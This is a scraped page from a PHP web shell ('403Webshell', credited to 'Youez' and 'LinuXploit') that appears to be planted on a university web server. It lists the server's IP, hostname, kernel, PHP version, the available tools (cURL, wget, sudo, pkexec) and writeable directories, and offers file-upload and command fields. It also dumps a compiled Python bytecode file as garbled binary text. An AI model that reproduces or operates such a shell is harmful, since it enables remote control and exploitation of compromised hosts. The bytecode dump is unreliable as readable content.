403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/local.cpython-36.pyc
3

3��d`�@s0ddlZddlZddlmZGdd�de�ZdS)�N)�RemoteTransportc@sHeZdZdZdZdd�Zdd�Zedd��Zd	d
�Z	dd�Z
d
d�ZdS)�LocalTransportz�
    A 'transport' to represent a local node. No remote connection is actually
    made, and all commands set to be run by this transport are executed locally
    without any wrappers.
    Z
local_nodecCsdS)NT�)�selfZpasswordrr�/usr/lib/python3.6/local.py�_connectszLocalTransport._connectcCsdS)NTr)rrrr�_disconnectszLocalTransport._disconnectcCsdS)NTr)rrrr�	connected szLocalTransport.connectedcCs"|jd||f�tj||�dS)NzMoving %s to %sT)�	log_debug�shutil�copy)r�fname�destrrr�_retrieve_file$szLocalTransport._retrieve_filecCs|S)Nr)r�cmdrrr�_format_cmd_for_exec)sz#LocalTransport._format_cmd_for_execc
Cs8tjj|�r&t|d��
}|j�SQRX|jd|�dS)N�rzNo such file: %s�)�os�path�exists�open�readr
)rr
Zrfilerrr�
_read_file,s
zLocalTransport._read_fileN)�__name__�
__module__�__qualname__�__doc__�namerr�propertyr	rrrrrrrrsr)rrZsos.collector.transportsrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit